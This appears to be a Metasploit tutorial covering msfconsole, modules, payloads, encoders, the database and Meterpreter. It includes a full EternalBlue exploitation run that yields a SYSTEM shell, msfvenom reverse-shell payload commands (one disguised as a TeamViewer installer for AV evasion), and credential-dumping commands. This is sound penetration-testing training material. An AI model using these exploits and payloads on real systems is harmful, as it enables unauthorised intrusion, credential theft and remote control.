hero-image

Metasploit


๐Ÿ› ๏ธ Introduction to Metasploit & MSFconsole

Metasploit is the worldโ€™s most used penetration testing tool. Uncover weaknesses in your defenses, focus on the right risks, and improve security.


Preface

Discussions around tools in the information security field have intensified recently. Some debates stem from personal preferences, while others focus on policies regarding tool disclosure. Despite these varying opinions, one fact remains: automated tools play a crucial role in modern security assessments.

Key Arguments for and Against Tools

  • Against:

    • Reduce the opportunity for analysts to showcase manual skill.
    • Create a false sense of competence.
    • Encourage over-reliance and โ€œtunnel vision.โ€
  • For:

    • Aid newcomers with user-friendly learning environments.
    • Save time during complex assessments.
    • Highlight vulnerabilities quickly for triage and deeper research.

Risks of Tools

  • May establish a comfort zone that limits growth.
  • Can become liabilities if misused or misunderstood.
  • Might leave traces or introduce new vulnerabilities.

Discipline in Security Work

  • Time is limited โ€” focus on high-impact issues first.
  • Client priorities matter โ€” they seek results, not ego validation.
  • Self-discipline over peer validation โ€” impress yourself, not the crowd.

Conclusion

  • Tools are helpers, not substitutes for knowledge.
  • Understand your tools thoroughly โ€” every function and class.
  • Maintain a rigorous methodology to mitigate risks and ensure efficiency.
  • Tools provide educational value for beginners and productivity gains for professionals.
  • As technology evolves, use the saved time for deeper security research.

๐Ÿ” Introduction to Metasploit

Metasploit is a modular penetration testing platform built on Ruby. It enables testers to write, test, and execute exploit codeโ€”either custom or from a curated exploit database.

Highlights

  • Modular architecture: supports exploits, payloads, encoders, etc.
  • Easy switching between targets and sessions.
  • Excellent for post-exploitation activities.

๐Ÿงฐ Metasploit Pro vs. Framework

FeatureMetasploit FrameworkMetasploit Pro
GUIโŒโœ…
Task Chains & WizardsโŒโœ…
Social EngineeringโŒโœ…
Nexpose IntegrationโŒโœ…
Command-Line Supportโœ…โœ…
Credential & Session Mgmtโš ๏ธ Manualโœ… Streamlined

๐Ÿงต MSFconsole: The Core Interface

The msfconsole is the primary and most powerful interface for Metasploit Framework users.

Features

  • Tab-completion and command history
  • Supports external command execution
  • Offers access to the entire Metasploit module database
  • Fully scriptable and customizable

Launching MSFconsole

msfconsole

Or launch without the banner:

msfconsole -q

Updating Metasploit

Use your OSโ€™s package manager (e.g., apt) to install/update:

sudo apt update && sudo apt install metasploit-framework

๐Ÿ—๏ธ Metasploit File Structure

Default path: /usr/share/metasploit-framework/

DirectoryPurpose
modules/Contains all module types
plugins/Adds additional features and automation
scripts/Meterpreter & custom scripts
tools/Command-line utilities
data/ & lib/Backend logic & configurations
documentation/Technical references and manuals

Module Subfolders

ls /usr/share/metasploit-framework/modules
# auxiliary  encoders  evasion  exploits  nops  payloads  post

๐Ÿง  Understanding the Architecture

  • Know what each part of Metasploit does before you use it.
  • Blindly trusting a tool can result in unexpected behaviors and client risk.
  • Always audit, document, and test any custom or third-party additions.

๐Ÿงญ MSF Engagement Structure

Metasploit assessments typically follow five key phases:

  1. Enumeration โ€“ Identify target services and their versions.
  2. Preparation โ€“ Configure the correct exploits and payloads.
  3. Exploitation โ€“ Gain access to the system.
  4. Privilege Escalation โ€“ Extend privileges if needed.
  5. Post-Exploitation โ€“ Extract, analyze, and clean up.

These stages help in organizing work and selecting the right Metasploit tools for each task.

MSF Engagement Structure
โ”‚
โ”œโ”€โ”€ Enumeration
โ”‚   โ”œโ”€โ”€ Service Validation
โ”‚   โ”‚   โ”œโ”€โ”€ Passive Scanning
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ OSINT
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Interacting with services legitimately
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ whois / DNS records
โ”‚   โ”‚   โ”œโ”€โ”€ Active Scanning
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ nMap / Nessus / NexPose scans
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Web service identification tools
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ Built-with identification tools
โ”‚   โ””โ”€โ”€ Vulnerability Research
โ”‚       โ”œโ”€โ”€ VulnDB (GUI)
โ”‚       โ”œโ”€โ”€ Rapid7 (GUI)
โ”‚       โ”‚   โ”œโ”€โ”€ search [vuln_name]
โ”‚       โ”‚   โ””โ”€โ”€ use [index no.]
โ”‚       โ”œโ”€โ”€ SearchSploit (CLI)
โ”‚       โ””โ”€โ”€ Google Dorking (GUI)
โ”‚
โ”œโ”€โ”€ Preparation
โ”‚   โ”œโ”€โ”€ Code Auditing
โ”‚   โ”œโ”€โ”€ Dependency Check
โ”‚   โ””โ”€โ”€ Importing Custom Modules
โ”‚
โ”œโ”€โ”€ Exploitation
โ”‚   โ”œโ”€โ”€ Run Module Locally
โ”‚   โ”œโ”€โ”€ Set Parameters
โ”‚   โ”‚   โ”œโ”€โ”€ Options (show options)
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ URI
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Proxies
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ RHOST / RPORT
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Usernames
โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ set [option] [value]
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Passwords
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Dictionaries
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Session
โ”‚   โ”‚   โ”œโ”€โ”€ Payloads (show payloads)
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ set payload [index no.]
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Meterpreter
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Shell Binds
โ”‚   โ”‚   โ”‚   โ”œโ”€โ”€ Reverse Shells
โ”‚   โ”‚   โ”‚   โ””โ”€โ”€ Exec
โ”‚   โ”‚   โ””โ”€โ”€ Targets (show targets)
โ”‚   โ”‚       โ”œโ”€โ”€ set target [OS]
โ”‚   โ”‚       โ”œโ”€โ”€ Linux
โ”‚   โ”‚       โ”œโ”€โ”€ Windows
โ”‚   โ”‚       โ”œโ”€โ”€ MacOS
โ”‚   โ”‚       โ””โ”€โ”€ Others
โ”‚   โ””โ”€โ”€ Run/Exploit
โ”‚
โ”œโ”€โ”€ Privilege Escalation
โ”‚   โ”œโ”€โ”€ Vulnerability Research
โ”‚   โ”œโ”€โ”€ Credential Gathering
โ”‚   โ””โ”€โ”€ Run Module Locally
โ”‚
โ”œโ”€โ”€ Next Target
โ”‚   โ””โ”€โ”€ Return to Enumeration,repeat until highest privilege obtained
โ”‚
โ””โ”€โ”€ Post-Exploitation
    โ”œโ”€โ”€ Token Impersonation
    โ”œโ”€โ”€ Pivoting to Other Systems
    โ”œโ”€โ”€ Credential Gathering
    โ”œโ”€โ”€ Data Exfiltration
    โ””โ”€โ”€ Cleanup

๐Ÿšจ Enumeration is Key

Before exploitation, enumeration gives critical insight into the target:

  • Identify services (HTTP, FTP, SQL, etc.)
  • Gather version details
  • Use tools like Nmap, Netcat, or Metasploit auxiliary scanners (cautiously)

Reminder: Vulnerabilities often exist in specific versions โ€” knowing these helps in selecting the right module.


๐Ÿ“ฆ Metasploit Modules and Search Functionality

Metasploit modules are pre-built scripts designed for specific tasks, such as exploitation, scanning, or post-exploitation. These have been tested in real-world scenarios and serve as an essential toolkit for penetration testers.

โš ๏ธ A failed exploit does not necessarily indicate the absence of a vulnerabilityโ€”it may just require customization to match the target environment.


๐Ÿ—‚ Module Structure

Each module follows this syntax:

<type>/<os>/<service>/<name>

Example:

exploit/windows/ftp/scriptftp_list

๐Ÿ“Œ Module Fields

FieldDescription
No.Index number used to select modules easily during searches
TypeFunction of the module (e.g., exploit, auxiliary, payload)
OSTargeted operating system
ServiceVulnerable service or action being targeted
NameSpecific functionality or purpose of the module

๐Ÿ” Module Types

TypeDescription
auxiliaryScanning, sniffing, and non-exploit functionality
encodersEnsure payload delivery remains intact
exploitsTarget and exploit known vulnerabilities
nopsMaintain payload size consistency
payloadsRemote code executed after successful exploit
pluginsAdd functionality to msfconsole
postActions performed after exploitation (e.g., data gathering)

use <No.> can only be applied to modules of types: auxiliary, exploit, and post.


๐Ÿ”Ž Searching for Modules in msfconsole

Use the search command to filter modules using tags and keywords.

๐Ÿ›  Syntax:

search [options] [keywords:value]

๐Ÿงฉ Useful Options:

OptionDescription
-hHelp
-o <file>Export results to CSV
-S <regex>Regex-based filtering
-uAuto-use if only one result
-s <column>Sort results by column
-rReverse order

๐Ÿ“Œ Keywords:

  • type: (e.g., exploit, post)
  • platform: (e.g., windows, linux)
  • cve: (e.g., 2017-0143)
  • name:, path:, rank:, arch:, etc.

๐Ÿงช Examples:

search type:exploit platform:windows cve:2021 rank:excellent microsoft
search cve:2009 type:exploit platform:-linux
search type:exploit -s type -r

๐Ÿ›  Module Selection and Use

Suppose a target has SMB running on port 445 and may be vulnerable to MS17-010 (EternalRomance).

Step 1: Perform a Scan

nmap -sV <target-ip>

Check for open ports like 445/tcp (SMB), and OS information.

Step 2: Search for Vulnerable Module

search ms17_010

Example result:

exploit/windows/smb/ms17_010_psexec
auxiliary/admin/smb/ms17_010_command

Step 3: Use the Module

use 0

Use the index number from the search result to quickly select modules.


โš™๏ธ Configuring a Module

After selecting, use:

show options

This lists required parameters (e.g., RHOSTS, RPORT, LHOST, etc.).

Example Required Fields

NameRequiredDescription
RHOSTSYesTarget IP address
RPORTYesTarget port (default: 445 for SMB)
LHOSTYesAttackerโ€™s IP address for payload callbacks
LPORTYesAttackerโ€™s listening port
SHAREYesSMB share (e.g., ADMIN$)

Example Payload:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your-ip>
set LPORT 4444

๐Ÿ“Œ Global Settings

To avoid re-setting IPs every time, use:

setg RHOSTS <target-ip>

This persists across different modules until Metasploit is restarted.


โ„น๏ธ Get Module Info

info

Displays module purpose, authors, references (CVE, ExploitDB), architecture, privilege requirements, and detailed usage notes.


๐Ÿ“š References


๐ŸŽฏ Metasploit Targets & Target Selection

๐Ÿ“Œ What Are Targets?

Targets in Metasploit are unique OS identifiers tied to specific versions that the exploit supports. Each exploit module may support multiple targets based on the operating system, service packs, and language packs.


๐Ÿ”Ž Viewing Available Targets

โ— Without Selecting an Exploit

msf6 > show targets
[-] No exploit module selected.

This tells us that we must select an exploit module before listing its supported targets.


โœ… Example: ms17_010_psexec

After selecting the exploit:

msf6 exploit(windows/smb/ms17_010_psexec) > show targets

If thereโ€™s only one target:

Id  Name
--  ----
0   Automatic

This means the module will automatically detect the target system version and adapt accordingly.


โš™๏ธ Module Options Example

msf6 exploit(windows/smb/ms17_010_psexec) > options

Key options:

  • RHOSTS: Target IP address
  • RPORT: Default SMB port (usually 445)
  • SMBUser / SMBPass: SMB credentials if needed
  • SHARE: Network share (default: ADMIN$)

Payload options (windows/meterpreter/reverse_tcp):

  • LHOST: Attackerโ€™s IP
  • LPORT: Listening port
  • EXITFUNC: Exit technique (e.g., thread, process)

๐Ÿ“˜ Example: Internet Explorer UAF Exploit

Exploit: exploit/windows/browser/ie_execcommand_uaf
Vulnerability: MS12-063 - Use-After-Free in Internet Explorer

msf6 > use exploit/windows/browser/ie_execcommand_uaf
msf6 exploit(...) > info

๐Ÿ” Vulnerability Details

  • Disclosed: 2012-09-14
  • CVE: CVE-2012-4969
  • Browsers Affected: IE 7, IE 8, IE 9
  • Platforms: Windows XP, Vista, 7
  • Requirements:
    • For XP/IE8: msvcrt must be present.
    • For Vista/7: Java Runtime Environment (JRE) 1.6.x or below must be installed.

โš™๏ธ Module Options

msf6 exploit(...) > options
NameCurrent SettingRequiredDescription
OBFUSCATEfalsenoEnable JavaScript obfuscation
SRVHOST0.0.0.0yesLocal host to listen on
SRVPORT8080yesLocal port to listen on
SSLfalsenoNegotiate SSL for incoming connections
URIPATH(random)noURI path for the exploit

๐Ÿ“‹ Available Targets

msf6 exploit(...) > show targets
IdTarget Description
0Automatic
1IE 7 on Windows XP SP3
2IE 8 on Windows XP SP3
3IE 7 on Windows Vista
4IE 8 on Windows Vista
5IE 8 on Windows 7
6IE 9 on Windows 7

๐ŸŽฏ Setting a Specific Target

If you know the exact environment:

msf6 exploit(...) > set target 6
target => 6

๐Ÿง  Understanding Target Types

Target types vary due to:

  • OS version
  • Service pack
  • Language pack
  • Memory layout differences

Exploit success often depends on:

  • Return addresses (e.g., jmp esp, pop/pop/ret)
  • Hooks or loaded libraries
  • ROP chains (in browser or modern exploits)

๐Ÿ› ๏ธ Return Address Discovery

To identify valid return addresses:

  1. Get the vulnerable binary (e.g., .DLL or .EXE)
  2. Use tools like:
    • msfpescan
    • ropper
    • monalisa (in Immunity Debugger)

Metasploit Payloads

Overview

A payload in Metasploit is a module that works alongside an exploit to execute malicious code on a target system, typically to establish a reverse shell or remote access.

There are three types of payloads in Metasploit:

  • Singles
  • Stagers
  • Stages

Payloads are selected and configured in conjunction with exploits. The structure of the payload name can indicate whether itโ€™s staged or not:

  • windows/shell_bind_tcp: a single payload.
  • windows/shell/bind_tcp: a staged payload.

Payload Types

๐Ÿงฉ Single Payloads

  • Contain the entire shellcode and functionality in one package.
  • Easier to use, more stable, but can be large in size.
  • Example use case: creating a user or starting a service.

๐Ÿ”Œ Stagers

  • Small and reliable.
  • Set up a network connection back to the attackerโ€™s machine.
  • Download additional code (stage) upon successful execution.
  • Typically used to bypass size limitations in some exploits.

NX vs. No-NX (DEP/CPU considerations)

  • NX-compatible stagers are larger due to memory allocation functions.
  • Metasploit defaults to NX-compatible + Windows 7 support.

๐Ÿงฑ Stages

  • Downloaded after the stager connects.
  • Provide advanced features, e.g., Meterpreter, VNC injection.
  • Allow modular exploitation, evading AV and IPS more effectively.
  • Example: reverse_tcp โ†’ connects back to attacker, receives full payload (e.g., Meterpreter).

Stage0 = initial small payload to initiate connection
Stage1 = full payload granting remote access


Meterpreter Payload

  • Advanced, in-memory payload using DLL injection.
  • No disk footprint = difficult to detect.
  • Modular: load/unload scripts and plugins dynamically.
  • Examples of Meterpreter capabilities:
    • Screenshotting
    • Microphone access
    • Keystroke logging
    • Password hash dumping
    • Security token impersonation

Searching for Payloads

To list all available payloads:

msf6 > show payloads

Using grep to Filter

To filter payloads by keyword:

msf6 > grep meterpreter show payloads
[*] 14 results

Further narrow down to reverse_tcp:

msf6 > grep meterpreter grep reverse_tcp show payloads
[*] 3 results:
payload/windows/x64/meterpreter/reverse_tcp
payload/windows/x64/meterpreter/reverse_tcp_rc4
payload/windows/x64/meterpreter/reverse_tcp_uuid

Selecting and Setting Payloads

Once an exploit is selected, set the payload using:

msf6 > set payload windows/x64/meterpreter/reverse_tcp

To view payload-specific options:

msf6 > show options

Example: Payload Options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name      | Current Setting | Required | Description
----------|------------------|----------|------------
EXITFUNC  | thread           | yes      | Exit technique
LHOST     | [your IP]        | yes      | Local IP (attacker)
LPORT     | 4444             | yes      | Listening port

You can check your LHOST quickly:

msf6 > ifconfig

Parameters Summary

ModuleParameterDescription
ExploitRHOSTSTarget IP address
ExploitRPORTTarget port (usually 445 for SMB)
PayloadLHOSTAttacker IP address (local interface)
PayloadLPORTListening port (ensure itโ€™s available)

Metasploit - Exploit and Payload Configuration

Setting LHOST and RHOSTS

msf6 exploit(windows/smb/ms17_010_eternalblue) > ifconfig
[*] exec: ifconfig
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.15
LHOST => 10.10.14.15

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40

Running the Exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS and arch selected based on SMB reply.
...
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully!
[*] Sending stage (201283 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158)

Meterpreter Commands

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Note: whoami is not supported in Meterpreter โ€” use getuid instead.

Listing Available Commands

meterpreter > help

Core Commands

CommandDescription
backgroundBackgrounds the current session
sessionsLists or interacts with active sessions
runExecutes a script or module
loadLoad meterpreter extensions
exit/quitTerminate session

File System

CommandDescription
lsList directory contents
cdChange directory
uploadUpload files
downloadDownload files

Networking

CommandDescription
ifconfigView network interfaces
portfwdPort forwarding
netstatDisplay network connections

System Interaction

CommandDescription
getuidGet user ID
psList processes
migrateMove Meterpreter to another process
shellOpen a system shell
sysinfoGet OS and architecture info

Meterpreter Shell Usage

Navigating to user directory:

meterpreter > cd Users
meterpreter > ls

Switching to a full shell:

meterpreter > shell
Process 2664 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
C:\Users>

Inside the shell:

C:\Users>whoami
nt authority\system

Common Windows Payloads

PayloadDescription
generic/shell_reverse_tcpStandard reverse TCP shell
windows/x64/shell_reverse_tcpx64 reverse shell (no stager)
windows/x64/shell/reverse_tcpx64 reverse shell using stager
windows/x64/meterpreter/reverse_tcpMeterpreter with stager over TCP
windows/x64/messageboxSpawns a Windows MessageBox
windows/x64/execExecutes a specified command
windows/x64/powershell_reverse_tcpPowerShell-based reverse shell
windows/x64/vncinject/reverse_tcpRemote GUI via VNC injection

Note: Other tools like Empire and Cobalt Strike offer advanced post-exploitation payloads but are beyond the scope of this course.

๐Ÿ” Encoders in Metasploit

Encoders in the Metasploit Framework serve two primary purposes:

  1. Payload Compatibility: Ensuring the payload works on different processor architectures.
  2. Antivirus Evasion: Obfuscating payloads to bypass antivirus (AV) and intrusion detection/prevention systems (IDS/IPS).

๐Ÿ–ฅ๏ธ Supported Architectures

Metasploit encoders help adapt payloads to:

  • x86
  • x64
  • sparc
  • ppc
  • mips

They also help remove bad characters from payloads (e.g., null bytes or other restricted characters).


๐Ÿ”„ Evolution of Encoders

  • Pre-2015: Tools like msfpayload and msfencode were used.
  • Post-2015: Replaced by a unified tool, msfvenom, for payload generation and encoding.

Legacy Example (Pre-2015):

msfpayload windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t perl

Modern Example (msfvenom):

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f perl

๐Ÿงฌ Notable Encoder: Shikata Ga Nai (ไป•ๆ–นใŒใชใ„)

Metasploit Module Layout


  • Type: Polymorphic XOR additive feedback encoder
  • Meaning: Japanese for โ€œIt cannot be helpedโ€
  • Status: Once the gold standard for evasion, but no longer effective against modern AV/EDR due to better signature detection.

Example:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -i 10 -f exe -o TeamViewerInstall.exe
  • -i 10: Apply the encoder 10 times (multi-iteration encoding)
  • Final .exe may still be detected by most AV software.

๐Ÿงช Testing AV Detection

Use the optional msf-virustotal script:

msf-virustotal -k <API_KEY> -f TeamViewerInstall.exe

๐Ÿ” Listing Available Encoders

Use show encoders in msfconsole to view compatible encoders:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > show encoders

Sample Output:

NameRankDescription
generic/noneManualNo encoding
x64/xorManualXOR Encoder
x64/xor_dynamicManualDynamic key XOR Encoder
x86/shikata_ga_naiExcellentPolymorphic XOR Additive Feedback Encoder
x86/alpha_upperLowAlphanumeric uppercase encoder
x86/fnstenv_movNormalVariable-length fnstenv/mov encoder
โ€ฆโ€ฆโ€ฆ

Note: Only compatible encoders are shown depending on the selected payload/exploit.


๐Ÿ›ก๏ธ Reality Check: AV Evasion

Even multiple iterations of encoding (e.g., 10ร— shikata_ga_nai) will not guarantee AV evasion. Many antivirus engines detect common encoded payloads regardless of obfuscation:

  • ๐Ÿ” Sample detection stats (from VirusTotal scan):
    51/68 AV engines flagged the payload
    โžค AVs like BitDefender, Microsoft, Avast, Symantec, Sophos all detected it

๐Ÿง  Summary

  • Encoders are still useful for compatibility and basic obfuscation
  • shikata_ga_nai is popular but no longer reliable for full AV evasion
  • Detection can often still occur even after heavy encoding
  • Use evasion techniques in conjunction with other tools/methods (e.g., custom loaders, packers, encryption)

๐Ÿงฐ Metasploit Database: msfconsole Essentials

A powerful feature of Metasploit is its integration with PostgreSQL for storing and organizing recon data, credentials, loot, and more. Below is a detailed and neatly formatted reference for working with MSF databases.


โš™๏ธ Setup & Initialization

โœ… Start PostgreSQL

sudo systemctl start postgresql

๐Ÿ”„ Initialize/Check DB

sudo msfdb init
msf6 > db_status

Look for: [*] Connected to msf. Connection type: PostgreSQL.

If not connected, try:

sudo msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart

๐Ÿ› ๏ธ Core Database Commands

msf6 > help database
CommandDescription
db_statusCheck database connection
db_connectConnect to an existing DB
db_disconnectDisconnect current DB
db_importImport scan results (Nmap XML, Nessus, etc.)
db_exportExport workspace data to file
db_nmapRun Nmap and automatically store results
hostsView discovered hosts
servicesView scanned services
vulnsView known vulnerabilities
lootView stored loot
notesView notes
workspaceManage multiple environments

๐Ÿ—‚๏ธ Workspaces

๐Ÿ“‚ Manage Workspaces

msf6 > workspace -a Target_1       # Add
msf6 > workspace Target_1          # Switch
msf6 > workspace -d Target_1       # Delete
msf6 > workspace                   # List

๐Ÿ“ฅ Import & Export

๐Ÿ“ฅ Import Scan Results

msf6 > db_import scan.xml

๐Ÿ“ค Export Current Workspace

msf6 > db_export -f xml backup.xml

๐Ÿงพ Hosts Command

msf6 > hosts -h
  • Add, update, delete hosts
  • Tag, filter, and export
  • Set RHOSTS directly from hosts list

๐Ÿ›Ž๏ธ Services Command

msf6 > services -h
OptionDescription
-aAdd service(s)
-dDelete service(s)
-cShow only specific columns
-rProtocol filter (tcp or udp)
-pFilter by port
-sFilter by service name
-uShow only up services
-oOutput to CSV
-SSet RHOSTS from results
-RFilter by RHOSTS
-OSort output by column
-UUpdate data for existing services

๐Ÿง  Tip: Services are searchable and sortable. You can refine your output or set module targets directly from results.


๐Ÿ” Credentials (creds)

msf6 > creds -h

๐Ÿงพ Listing Examples

creds                        # Show all
creds 192.168.0.0/24         # Filter by login range
creds -p 22,445              # By port
creds -s ssh,smb             # By service
creds -t ntlm                # By type
creds -j md5                 # John the Ripper type

โž• Add Credential Examples

creds add user:admin password:notpassword realm:workgroup
creds add password:'justapassword'
creds add ntlm:E2FC1...:A1074...
creds add user:sshadmin ssh-key:/path/to/key
creds add user:postgres postgres:md5abc123...

๐Ÿ—‘๏ธ Delete Credentials

creds -d -s smb              # Delete all SMB credentials

๐Ÿงฐ Options

OptionDescription
-oExport to CSV, JTR, or Hashcat format
-dDelete credentials
-PFilter by password
-uFilter by username
-tFilter by type (password, ntlm, hash, etc.)
-OFilter by origin
-RSet RHOSTS from results

๐ŸŽฏ Loot Command

msf6 > loot -h

Loot includes things like dumped hashes, captured files, or system info.

๐Ÿงพ Usage

loot                        # List loot
loot -S admin               # Search loot
loot -d 192.168.0.1         # Delete loot for host
loot -f creds.txt -i "Admin hash dump" -a 192.168.0.1 -t hash
OptionDescription
-aAdd loot to host(s)
-dDelete loot
-fFile containing loot data
-iInfo/description of loot
-tLoot type (e.g., hash, passwd, etc.)
-SSearch by keyword
-hHelp

๐Ÿ” Hash Types Reference (for JTR)

TypeValue
DESdes
MD5md5
SHA256sha256
SHA512sha512
Oracle 11oracle11
Postgres MD5postgres
MSSQLmssql / mssql12
MySQLmysql / mysql-sha1

๐Ÿง  Pro Tip

๐ŸŽฏ Combine recon results with module targeting using:

services -S        # Set RHOSTS from found services
hosts -R           # Set RHOSTS from found hosts
creds -R           # Set RHOSTS from found logins

Plugins ๐Ÿ”Œ

  • Plugins are third-party software integrated within the Metasploit framework ๐Ÿค
  • They enhance functionality by bringing external tools into msfconsole ๐Ÿงฐ
  • Plugins work directly with the API to manipulate the framework ๐Ÿ”„
  • Can automate repetitive tasks, add new commands, and extend functionality โœจ

Using Plugins ๐Ÿš€

  • Default location: /usr/share/metasploit-framework/plugins ๐Ÿ“
  • Load with: load plugin_name (Example: load nessus) โš™๏ธ
  • Each plugin has its own set of commands (view with plugin_help) ๐Ÿ“
  • If plugin is not installed properly, youโ€™ll receive an error message โŒ

Installing New Plugins ๐Ÿ“ฅ

  • Can be installed by placing .rb files in the plugins directory ๐Ÿ’Ž
  • Example of community plugins: DarkOperatorโ€™s Metasploit-Plugins ๐Ÿ”ฅ
  • Process:
    1. Download plugin files ๐Ÿ“ฅ
    2. Copy to plugins directory ๐Ÿ“‹
    3. Set proper permissions ๐Ÿ”’
    4. Load via msfconsole ๐Ÿš€
  • nMap (pre-installed) ๐Ÿ—บ๏ธ
  • NexPose (pre-installed) ๐Ÿ”
  • Nessus (pre-installed) ๐Ÿ”Ž
  • Mimikatz (pre-installed V.1) ๐Ÿ”‘
  • Stdapi (pre-installed) ๐Ÿ“Š
  • Darkoperatorโ€™s plugins ๐Ÿงฉ

Sessions ๐Ÿ’ป

  • Allow managing multiple modules simultaneously ๐Ÿ”„
  • Create dedicated control interfaces for deployed modules ๐ŸŽฎ
  • Sessions can be backgrounded and still continue to run โฑ๏ธ
  • Can switch between sessions and link different modules ๐Ÿ”€

Managing Sessions ๐ŸŽ›๏ธ

  • Background session: CTRL+Z or background/bg command โฏ๏ธ
  • List active sessions: sessions command ๐Ÿ“‹
  • Interact with specific session: sessions -i [session_number] ๐ŸŽฏ
  • Particularly useful for running post-exploitation modules ๐Ÿงช

Jobs ๐Ÿƒโ€โ™‚๏ธ

  • Background tasks that continue running even if sessions die ๐Ÿ”„
  • Useful when needing to free up ports for other modules ๐Ÿ”Œ
  • View jobs: jobs -l ๐Ÿ‘€
  • Kill specific job: jobs -k [job_id] โ˜ ๏ธ
  • Kill all jobs: jobs -K ๐Ÿ’ฅ
  • Run exploit as background job: exploit -j ๐ŸŽ๏ธ

Meterpreter ๐Ÿฆพ

  • Advanced multi-functional payload ๐Ÿ’ช
  • Uses DLL injection for stable connections ๐Ÿ’‰
  • Resides entirely in memory (leaves no traces on hard drive) ๐Ÿ‘ป
  • Difficult to detect with conventional forensic techniques ๐Ÿ•ต๏ธโ€โ™€๏ธ

Meterpreter Features ๐ŸŒŸ

  • Stealthy ๐Ÿฅท: Resides in memory, no disk writing, can migrate between processes
  • Powerful ๐Ÿ’ช: Uses channelized communication with AES encryption
  • Extensible ๐Ÿงฉ: Features can be added at runtime without rebuilding

Key Meterpreter Commands ๐ŸŽฎ

  • help: Shows available commands ๐Ÿ“š
  • getuid: Display current user ๐Ÿ‘ค
  • hashdump: Extract password hashes ๐Ÿ”‘
  • lsa_dump_sam: Dump Security Account Manager database ๐Ÿ“‚
  • lsa_dump_secrets: Dump LSA secrets ๐Ÿ”
  • ps: List running processes ๐Ÿ“Š
  • migrate [PID]: Move to different process ๐Ÿฆ…
  • steal_token [PID]: Impersonate another user ๐ŸŽญ
  • background/bg: Background current session โช

Practical Usage Example ๐ŸŽฏ

  1. Scan target with nmap ๐Ÿ”
  2. Identify vulnerable service (e.g., IIS 6.0) ๐ŸŽฏ
  3. Search for and configure appropriate exploit โš™๏ธ
  4. Execute and receive Meterpreter shell ๐Ÿš
  5. Run local exploit suggester to find privilege escalation paths ๐Ÿชœ
  6. Execute privilege escalation exploit to gain SYSTEM access ๐Ÿ‘‘

MSFVenom ๐Ÿ

  • Successor of MSFPayload and MSFEncode ๐Ÿ‘‘
  • Creates customized payloads for different architectures and platforms ๐Ÿ—๏ธ
  • Can encode shellcode to avoid bad characters and improve stability ๐Ÿงฌ

Creating Payloads ๐Ÿ’ฃ

  • Syntax: msfvenom -p [payload] [options] โŒจ๏ธ
  • Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx ๐Ÿ“
  • Need to set up listener with multi/handler to catch connections ๐ŸŽฃ

Local Exploit Suggester ๐Ÿ•ต๏ธโ€โ™‚๏ธ

  • Post-exploitation module to identify privilege escalation opportunities ๐Ÿ”
  • Usage:
    1. Background current session โช
    2. Load module: use post/multi/recon/local_exploit_suggester ๐Ÿ”ง
    3. Set session number: set SESSION [number] ๐Ÿ”ข
    4. Run module: run ๐Ÿƒ
    5. Select and try suggested exploits ๐ŸŽฏ

General Tips ๐Ÿ’ก

  • Always close sessions and kill jobs when finished ๐Ÿงน
  • Backgrounded sessions and jobs consume resources ๐Ÿ”‹
  • Encode payloads for better success rates ๐ŸŽฏ
  • Use post-exploitation modules for efficient enumeration ๐Ÿ“Š
  • Consider security implications of leaving traces on target systems ๐Ÿšจ
  • Remember to document your findings for reporting ๐Ÿ“
  • Practice in legal environments only! ๐Ÿ”’